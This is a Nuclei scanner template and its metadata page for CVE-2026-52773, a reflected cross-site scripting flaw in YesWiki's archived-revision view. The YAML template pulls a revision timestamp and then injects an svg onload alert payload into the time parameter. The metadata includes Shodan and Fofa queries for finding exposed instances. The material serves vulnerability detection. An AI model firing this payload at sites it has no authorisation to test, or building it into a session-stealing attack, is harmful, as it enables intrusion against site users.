CVE-2026-52773: YesWiki Archived Revision - Cross-Site Scripting
- Template: CVE-2026-52773
- Name: YesWiki Archived Revision - Cross-Site Scripting
- Description: YesWiki's archived-revision view reflects the time GET parameter into a hidden HTML input in handlers/page/show.php without escaping. Because MySQL coerces malformed DATETIME strings, an attacker can append an XSS payload after a valid revision timestamp.
- Impact: Attackers can execute arbitrary JavaScript in victims' browsers.
- Remediation: Upgrade YesWiki to version 4.6.6 or later where output encoding is applied.
- Severity: medium
- Authors: 0x_Akoko
- Tags: cve, cve2026, yeswiki, xss
- References: https://github.com/YesWiki/yeswiki/security/advisories/GHSA-35f3-pg38-486f, https://nvd.nist.gov/vuln/detail/CVE-2026-52773
- Cves: CVE-2026-52773
- Verified: yes
- Max requests: 2
- Directory: http/cves
- Path: http/cves/2026/CVE-2026-52773.yaml
- Digest: 4b0a00483046022100c2f74097f63ba6ad8231dbd09464de9e886915bef92d2ca2492e7bc618399234022100c56d97050aa64539e2d890874cafc673e1cb3c493f7e0d80d8f68d6980c5a9c9
- Created at: 2026-07-21T15:13:58Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 126
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-52773.yaml
Classification
- Cwe: CWE-79
- Cvss score: 6.1
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Epss score: 0.00591
- Epss percentile: 0.49156
- Not known: cpe
Metadata
- Fofa-query: body="YesWiki"
- Max-request: 2
- Product: yeswiki
- Shodan-query: http.html:"YesWiki"
- Vendor: yeswiki
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| yeswiki:yeswiki | yes | /v1/products/yeswiki/yeswiki |
Labels
- Name: YesWiki - Reflected XSS
- Impact: Attackers can execute arbitrary JavaScript in the victim's browser, potentially leading to session hijacking or data theft.
- Remediation: Upgrade to version 4.6.6 or later.
- Vulnerability type: reflected_xss
- Vulnerability impact: client_script_exec
- Requirement type: logged_in
- Requirements: Victim must have read and edit access to the target page
- Labels source: securitycontext
- From cve: CVE-2026-52773
```yaml
id: CVE-2026-52773
info:
name: YesWiki Archived Revision - Cross-Site Scripting
author: 0x_Akoko
severity: medium
description: |
YesWiki's archived-revision view reflects the time GET parameter into a hidden HTML input in handlers/page/show.php without escaping. Because MySQL coerces malformed DATETIME strings, an attacker can append an XSS payload after a valid revision timestamp.
impact: |
Attackers can execute arbitrary JavaScript in victims' browsers.
remediation: |
Upgrade YesWiki to version 4.6.6 or later where output encoding is applied.
reference:
- https://github.com/YesWiki/yeswiki/security/advisories/GHSA-35f3-pg38-486f
- https://nvd.nist.gov/vuln/detail/CVE-2026-52773
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2026-52773
epss-score: 0.00591
epss-percentile: 0.49156
cwe-id: CWE-79
metadata:
verified: true
max-request: 2
vendor: yeswiki
product: yeswiki
shodan-query: http.html:"YesWiki"
fofa-query: body="YesWiki"
tags: cve,cve2026,yeswiki,xss
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}/?PagePrincipale/revisions"
- "{{BaseURL}}/?GererSite/revisions"
matchers:
- type: word
part: body
words:
- ""time""
internal: true
extractors:
- type: regex
name: timestamp
part: body
internal: true
group: 1
regex:
- '"time":"(\d{4}-\d{2}-\d{2}\s\d{2}:\d{2}:\d{2})"'
- method: GET
path:
- "{{BaseURL}}/?PagePrincipale&time={{url_encode(timestamp)}}%22%3E%3Csvg%20onload%3Dalert(document.domain)%3E"
- "{{BaseURL}}/?GererSite&time={{url_encode(timestamp)}}%22%3E%3Csvg%20onload%3Dalert(document.domain)%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"><svg onload=alert(document.domain)>'
- 'name="time"'
condition: and
- type: word
part: body
words:
- "yeswiki"
case-insensitive: true
- type: word
part: content_type
words:
- "text/html"
- type: status
status:
- 200
digest: 4b0a00483046022100c2f74097f63ba6ad8231dbd09464de9e886915bef92d2ca2492e7bc618399234022100c56d97050aa64539e2d890874cafc673e1cb3c493f7e0d80d8f68d6980c5a9c9:922c64590222798bb761d5b6d8e72950
```